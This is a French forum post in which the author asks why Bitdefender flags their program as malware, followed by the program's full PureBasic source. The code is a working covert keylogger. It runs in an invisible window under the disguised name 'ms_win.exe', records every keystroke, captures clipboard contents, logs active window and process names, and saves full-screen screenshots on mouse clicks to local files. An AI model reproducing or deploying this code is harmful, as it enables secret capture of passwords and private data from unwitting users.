Et là en rangeant mes fichiers bitdefender m'a effacer le logiciel en disant qu'il s'agit d'un malware.
J'ai beau essayé de modifier le code c'est toujours pareil.
Je ne sais pas si je peux mettre le source car des abrutis de pirates pourraient s'en servir à mauvais escient ^^
Je bosse plus sur ce truc c'était juste pour info, sur quel critère se base t'il pour considérer que c'est un malware.
Je pensais que ça marchais avec une partie de code mais mon soft n'est normalement jamais paru nulle part.
Code : Tout sélectionner
#TH32CS_SNAPHEAPLIST = $1
#TH32CS_SNAPPROCESS = $2
#TH32CS_SNAPTHREAD = $4
#TH32CS_SNAPMODULE = $8
#TH32CS_SNAPALL = #TH32CS_SNAPHEAPLIST | #TH32CS_SNAPPROCESS | #TH32CS_SNAPTHREAD | #TH32CS_SNAPMODULE
#TH32CS_INHERIT = $80000000
#INVALID_HANDLE_VALUE = -1
#MAX_PATH = 260
#PROCESS32LIB = 9999
Enumeration
#click_souris
#presse_papier
EndEnumeration
; Structure PROCESSENTRY32
; dwSize.l
; cntUsage.l
; th32ProcessID.l
; *th32DefaultHeapID.l
; th32ModuleID.l
; cntThreads.l
; th32ParentProcessID.l
; pcPriClassBase.l
; dwFlags.l
; szExeFile.b [#MAX_PATH]
; EndStructure
Global chaine$
Global poste.MSG
Global NewList Process32.PROCESSENTRY32 ()
Global nom_fenetre.s
Global nom_process.s
Global dossier_appli.s
Global hwnd
Global majuscule
Global verrou_num
Global presse_papier.s
Global nom_proclipboard.s
Global memo_presse.s
Global info_clipboard.s
;------ vérifie si le programme est déjà lancé pour ne pas le lancer 2 fois
mon_prog.s = "ms_win.exe" ; nom de mon appli a changer si je change le nom de compilation
compteur_prog = 0
Gosub GetProcessList
ForEach Process32 ()
exe$ = GetFilePart (PeekS (@Process32 ()\szExeFile))
If exe$ = mon_prog
compteur_prog+1
If compteur_prog>1
End
EndIf
EndIf
Next
;*****************************************
UseJPEGImageEncoder()
OpenFile(1,"ini.ini")
ini$ = ReadString(1)
CloseFile(1)
ClearClipboard() ; reset du clipboard
If GetKeyState_(#VK_CAPITAL)=0 ; récupération de l'état du capslock
majuscule = 0
Else
majuscule = 1
EndIf
If GetKeyState_(#VK_NUMLOCK)=0 ; récupération de l'état du numlock
verrou_num = 0
Else
verrou_num = 1
EndIf
For r=0 To 255 : GetAsyncKeyState_(r) : Next ;prépare le buffer key
Procedure verif_dossier()
dossier_appli = GetCurrentDirectory()
If PathIsDirectory_(dossier_appli+"\shoot") = 0
CreateDirectory(dossier_appli+"\shoot")
EndIf
If PathIsDirectory_(dossier_appli+"\texte") = 0
CreateDirectory(dossier_appli+"\texte")
EndIf
EndProcedure
Procedure.s FindWindowProcessName (window)
ResetList (Process32 ())
While NextElement (Process32 ())
GetWindowThreadProcessId_ (window, @pid)
If pid = Process32 ()\th32ProcessID
exe$ = GetFilePart (PeekS (@Process32 ()\szExeFile))
LastElement (Process32 ())
EndIf
Wend
ProcedureReturn exe$
EndProcedure
Procedure ecriture_fichier(event.b)
Date$ = FormatDate("%dd/%mm/%yyyy", Date())
file_date$ = FormatDate("%dd_%mm_%yyyy",Date())
Time$ = FormatDate("%hh:%ii:%ss", Date())
OpenFile(0,dossier_appli+"texte\"+file_date$+".txt")
FileSeek(0, Lof(0))
WriteStringN(0,"********************************************")
WriteStringN(0,date$+" ----- "+time$)
If event = #presse_papier
WriteStringN(0,"programme utilisant le presse-papier : "+nom_proclipboard)
Else
WriteStringN(0,"programme : "+nom_process)
EndIf
WriteStringN(0,"Fenêtre : "+nom_fenetre)
If event = #click_souris Or event = #presse_papier
compteur = 00000
While PathFileExists_(dossier_appli+"shoot\"+file_date$+"_"+Str(compteur)+".jpg")
compteur+1
Wend
SystemParametersInfo_(#SPI_GETWORKAREA, 0, @Taille_Ecran.RECT, 0)
Largeur_Ecran = Taille_Ecran\right - Taille_Ecran\left
Hauteur_Ecran = Taille_Ecran\bottom - Taille_Ecran\top
DC = GetDC_(0) ;en étant à 0 on retrouve le display de l'écran entier
CreateImage(0, Largeur_Ecran, Hauteur_Ecran)
Dessin = StartDrawing(ImageOutput(0))
BitBlt_(Dessin, 0, 0, Largeur_Ecran, Hauteur_Ecran,DC, Taille_Ecran\left, Taille_Ecran\top, #SRCPAINT)
StopDrawing()
ReleaseDC_(0, DC)
SaveImage(0,dossier_appli+"shoot\"+file_date$+"_"+Str(compteur)+".jpg",#PB_ImagePlugin_JPEG)
WriteStringN(0,"bouton gauche souris")
WriteStringN(0,"screenshot : "+file_date$+"_"+Str(compteur)+".jpg")
EndIf
If event = #presse_papier
WriteStringN(0,info_clipboard)
WriteStringN(0,"------ Contenu du presse-papier ------")
WriteStringN(0,presse_papier)
ElseIf chaine$<>""
WriteStringN(0,"------------ message écrit -----------")
WriteStringN(0,chaine$)
EndIf
WriteStringN(0," ")
CloseFile(0)
EndProcedure
OpenWindow (0, #PB_Ignore, #PB_Ignore, 320, 200, "Test window",#PB_Window_Invisible)
verif_dossier()
SetTimer_ (WindowID (0), 0, 20, 0) ;timer de vérification
boucle_process = 0
Repeat
Select WaitWindowEvent ()
Case #WM_TIMER
If boucle_process <4
boucle_process+1
Else
Gosub GetProcessList ; récup liste des process
boucle_process = 0
EndIf
hwnd = GetForegroundWindow_() ;récup de la fenetre au premier plan
nom_fenetre = Space(255)
GetWindowText_(hwnd,@nom_fenetre,255) ;récup du nom de la fenetre hwnd
nom_process = FindWindowProcessName (hwnd) ;récup du nom process de la fenetre hwnd
Gosub scan_clipboard
Gosub scankey
;Debug nom_fenetre
;Debug nom_process
EndSelect
ForEver
; -----------------------------------------------------------------------------
; Fin programme
; -----------------------------------------------------------------------------
End
;------ génération de la liste des process
GetProcessList:
ClearList (Process32 ())
If OpenLibrary (#PROCESS32LIB, "kernel32.dll")
snap = CallFunction (#PROCESS32LIB, "CreateToolhelp32Snapshot", #TH32CS_SNAPPROCESS, 0)
If snap
Define.PROCESSENTRY32 Proc32
Proc32\dwSize = SizeOf (PROCESSENTRY32)
If CallFunction (#PROCESS32LIB, "Process32First", snap, @Proc32)
AddElement (Process32 ())
CopyMemory (@Proc32, @Process32 (), SizeOf (PROCESSENTRY32))
While CallFunction (#PROCESS32LIB, "Process32Next", snap, @Proc32)
AddElement (Process32 ())
CopyMemory (@Proc32, @Process32 (), SizeOf (PROCESSENTRY32))
Wend
EndIf
CloseHandle_ (snap)
EndIf
CloseLibrary (#PROCESS32LIB)
EndIf
Return
scankey :
;*************************************
;Pour checker une touche 2 solutions
; getasynckeystate_(touche) & $1
; getasynckeystate_(touche) = -32767
;*************************************
If GetAsyncKeyState_(#VK_LBUTTON)<0
If ini$ = "continu"
ecriture_fichier(#click_souris)
chaine$=""
ElseIf chaine$<>""
ecriture_fichier(#click_souris)
chaine$=""
EndIf
EndIf
If GetAsyncKeyState_(#VK_RETURN)& $1 Or GetAsyncKeyState_(#VK_TAB)& $1
If chaine$<>""
ecriture_fichier(#TAB)
chaine$ = ""
EndIf
EndIf
If GetAsyncKeyState_(#VK_CAPITAL)& $1 And down_capital = 0
If majuscule = 0
majuscule = 1
;Debug "majuscule"
Else
majuscule = 0
;Debug "minuscule"
EndIf
down_capital = 1
ElseIf GetAsyncKeyState_(#VK_CAPITAL)>=0
down_capital = 0
EndIf
If GetAsyncKeyState_(#VK_NUMLOCK)& $1 And down_verrou_num = 0
If verrou_num = 0
verrou_num = 1
;Debug "verrou_num"
Else
verrou_num = 0
;Debug "pas verrou"
EndIf
down_verrou_num = 1
ElseIf GetAsyncKeyState_(#VK_NUMLOCK)>=0
down_verrou_num = 0
EndIf
If GetAsyncKeyState_(#VK_BACK)& $1
chaine$ = Left(chaine$, Len(chaine$)-1)
EndIf
If GetAsyncKeyState_(#VK_SPACE)& $1
chaine$ = chaine$+" "
EndIf
;-------gestion des charactères principaux
If GetAsyncKeyState_(#VK_LCONTROL)>=0 And GetAsyncKeyState_(#VK_RCONTROL)>=0
If GetAsyncKeyState_(#VK_LSHIFT)& $1 Or majuscule = 1 Or GetAsyncKeyState_(#VK_RSHIFT)& $1
If GetAsyncKeyState_(#VK_A)& $1
chaine$ = chaine$+"A"
EndIf
If GetAsyncKeyState_(#VK_B)& $1
chaine$ = chaine$+"B"
EndIf
If GetAsyncKeyState_(#VK_C)& $1
chaine$ = chaine$+"C"
EndIf
If GetAsyncKeyState_(#VK_D)& $1
chaine$ = chaine$+"D"
EndIf
If GetAsyncKeyState_(#VK_E)& $1
chaine$ = chaine$+"E"
EndIf
If GetAsyncKeyState_(#VK_F)& $1
chaine$ = chaine$+"F"
EndIf
If GetAsyncKeyState_(#VK_G)& $1
chaine$ = chaine$+"G"
EndIf
If GetAsyncKeyState_(#VK_H)& $1
chaine$ = chaine$+"H"
EndIf
If GetAsyncKeyState_(#VK_I)& $1
chaine$ = chaine$+"I"
EndIf
If GetAsyncKeyState_(#VK_J)& $1
chaine$ = chaine$+"J"
EndIf
If GetAsyncKeyState_(#VK_K)& $1
chaine$ = chaine$+"K"
EndIf
If GetAsyncKeyState_(#VK_L)& $1
chaine$ = chaine$+"L"
EndIf
If GetAsyncKeyState_(#VK_M)& $1
chaine$ = chaine$+"M"
EndIf
If GetAsyncKeyState_(#VK_N)& $1
chaine$ = chaine$+"N"
EndIf
If GetAsyncKeyState_(#VK_O)& $1
chaine$ = chaine$+"O"
EndIf
If GetAsyncKeyState_(#VK_P)& $1
chaine$ = chaine$+"P"
EndIf
If GetAsyncKeyState_(#VK_Q)& $1
chaine$ = chaine$+"Q"
EndIf
If GetAsyncKeyState_(#VK_R)& $1
chaine$ = chaine$+"R"
EndIf
If GetAsyncKeyState_(#VK_S)& $1
chaine$ = chaine$+"S"
EndIf
If GetAsyncKeyState_(#VK_T)& $1
chaine$ = chaine$+"T"
EndIf
If GetAsyncKeyState_(#VK_U)& $1
chaine$ = chaine$+"U"
EndIf
If GetAsyncKeyState_(#VK_V)& $1
chaine$ = chaine$+"V"
EndIf
If GetAsyncKeyState_(#VK_W)& $1
chaine$ = chaine$+"W"
EndIf
If GetAsyncKeyState_(#VK_X)& $1
chaine$ = chaine$+"X"
EndIf
If GetAsyncKeyState_(#VK_Y)& $1
chaine$ = chaine$+"Y"
EndIf
If GetAsyncKeyState_(#VK_Z)& $1
chaine$ = chaine$+"Z"
EndIf
If GetAsyncKeyState_(#VK_0)& $1
chaine$ = chaine$+"0"
EndIf
If GetAsyncKeyState_(#VK_1)& $1
chaine$ = chaine$+"1"
EndIf
If GetAsyncKeyState_(#VK_2)& $1
chaine$ = chaine$+"2"
EndIf
If GetAsyncKeyState_(#VK_3)& $1
chaine$ = chaine$+"3"
EndIf
If GetAsyncKeyState_(#VK_4)& $1
chaine$ = chaine$+"4"
EndIf
If GetAsyncKeyState_(#VK_5)& $1
chaine$ = chaine$+"5"
EndIf
If GetAsyncKeyState_(#VK_6)& $1
chaine$ = chaine$+"6"
EndIf
If GetAsyncKeyState_(#VK_7)& $1
chaine$ = chaine$+"7"
EndIf
If GetAsyncKeyState_(#VK_8)& $1
chaine$ = chaine$+"8"
EndIf
If GetAsyncKeyState_(#VK_9)& $1
chaine$ = chaine$+"9"
EndIf
Else
If GetAsyncKeyState_(#VK_A)& $1
chaine$ = chaine$+"a"
EndIf
If GetAsyncKeyState_(#VK_B)& $1
chaine$ = chaine$+"b"
EndIf
If GetAsyncKeyState_(#VK_C)& $1
chaine$ = chaine$+"c"
EndIf
If GetAsyncKeyState_(#VK_D)& $1
chaine$ = chaine$+"d"
EndIf
If GetAsyncKeyState_(#VK_E)& $1
chaine$ = chaine$+"e"
EndIf
If GetAsyncKeyState_(#VK_F)& $1
chaine$ = chaine$+"f"
EndIf
If GetAsyncKeyState_(#VK_G)& $1
chaine$ = chaine$+"g"
EndIf
If GetAsyncKeyState_(#VK_H)& $1
chaine$ = chaine$+"h"
EndIf
If GetAsyncKeyState_(#VK_I)& $1
chaine$ = chaine$+"i"
EndIf
If GetAsyncKeyState_(#VK_J)& $1
chaine$ = chaine$+"j"
EndIf
If GetAsyncKeyState_(#VK_K)& $1
chaine$ = chaine$+"k"
EndIf
If GetAsyncKeyState_(#VK_L)& $1
chaine$ = chaine$+"l"
EndIf
If GetAsyncKeyState_(#VK_M)& $1
chaine$ = chaine$+"m"
EndIf
If GetAsyncKeyState_(#VK_N)& $1
chaine$ = chaine$+"n"
EndIf
If GetAsyncKeyState_(#VK_O)& $1
chaine$ = chaine$+"o"
EndIf
If GetAsyncKeyState_(#VK_P)& $1
chaine$ = chaine$+"p"
EndIf
If GetAsyncKeyState_(#VK_Q)& $1
chaine$ = chaine$+"q"
EndIf
If GetAsyncKeyState_(#VK_R)& $1
chaine$ = chaine$+"r"
EndIf
If GetAsyncKeyState_(#VK_S)& $1
chaine$ = chaine$+"s"
EndIf
If GetAsyncKeyState_(#VK_T)& $1
chaine$ = chaine$+"t"
EndIf
If GetAsyncKeyState_(#VK_U)& $1
chaine$ = chaine$+"u"
EndIf
If GetAsyncKeyState_(#VK_V)& $1
chaine$ = chaine$+"v"
EndIf
If GetAsyncKeyState_(#VK_W)& $1
chaine$ = chaine$+"w"
EndIf
If GetAsyncKeyState_(#VK_X)& $1
chaine$ = chaine$+"x"
EndIf
If GetAsyncKeyState_(#VK_Y)& $1
chaine$ = chaine$+"y"
EndIf
If GetAsyncKeyState_(#VK_Z)& $1
chaine$ = chaine$+"z"
EndIf
If GetAsyncKeyState_(#VK_0)& $1
chaine$ = chaine$+"à"
EndIf
If GetAsyncKeyState_(#VK_1)& $1
chaine$ = chaine$+"&"
EndIf
If GetAsyncKeyState_(#VK_2)& $1
chaine$ = chaine$+"é"
EndIf
If GetAsyncKeyState_(#VK_3)& $1
chaine$ = chaine$+Chr(34)
EndIf
If GetAsyncKeyState_(#VK_4)& $1
chaine$ = chaine$+Chr(39)
EndIf
If GetAsyncKeyState_(#VK_5)& $1
chaine$ = chaine$+Chr(40)
EndIf
If GetAsyncKeyState_(#VK_6)& $1
chaine$ = chaine$+"-"
EndIf
If GetAsyncKeyState_(#VK_7)& $1
chaine$ = chaine$+"è"
EndIf
If GetAsyncKeyState_(#VK_8)& $1
chaine$ = chaine$+"_"
EndIf
If GetAsyncKeyState_(#VK_9)& $1
chaine$ = chaine$+"ç"
EndIf
EndIf
Else
If GetAsyncKeyState_(#VK_V)& $1
info_clipboard = "Collage du presse-papier"
presse_papier = GetClipboardText()
process_clipboard = GetClipboardOwner_() ; recherche process qui utilise le presse_papier
nom_proclipboard = FindWindowProcessName (process_clipboard)
ecriture_fichier(#presse_papier)
EndIf
EndIf
;--------gestion pad numérique
If verrou_num = 1
If GetAsyncKeyState_(#VK_NUMPAD0)& $1
chaine$ = chaine$+"0"
EndIf
If GetAsyncKeyState_(#VK_NUMPAD1)& $1
chaine$ = chaine$+"1"
EndIf
If GetAsyncKeyState_(#VK_NUMPAD2)& $1
chaine$ = chaine$+"2"
EndIf
If GetAsyncKeyState_(#VK_NUMPAD3)& $1
chaine$ = chaine$+"3"
EndIf
If GetAsyncKeyState_(#VK_NUMPAD4)& $1
chaine$ = chaine$+"4"
EndIf
If GetAsyncKeyState_(#VK_NUMPAD5)& $1
chaine$ = chaine$+"5"
EndIf
If GetAsyncKeyState_(#VK_NUMPAD6)& $1
chaine$ = chaine$+"6"
EndIf
If GetAsyncKeyState_(#VK_NUMPAD7)& $1
chaine$ = chaine$+"7"
EndIf
If GetAsyncKeyState_(#VK_NUMPAD8)& $1
chaine$ = chaine$+"8"
EndIf
If GetAsyncKeyState_(#VK_NUMPAD9)& $1
chaine$ = chaine$+"9"
EndIf
EndIf
Return
;------------scan presse papier
scan_clipboard:
presse_papier = GetClipboardText()
If presse_papier <> "" And presse_papier <> memo_presse
info_clipboard = "Copie dans le presse-papier"
process_clipboard = GetClipboardOwner_() ; recherche process qui utilise le presse_papier
nom_proclipboard = FindWindowProcessName (process_clipboard)
ecriture_fichier(#presse_papier)
memo_presse = presse_papier
EndIf
Return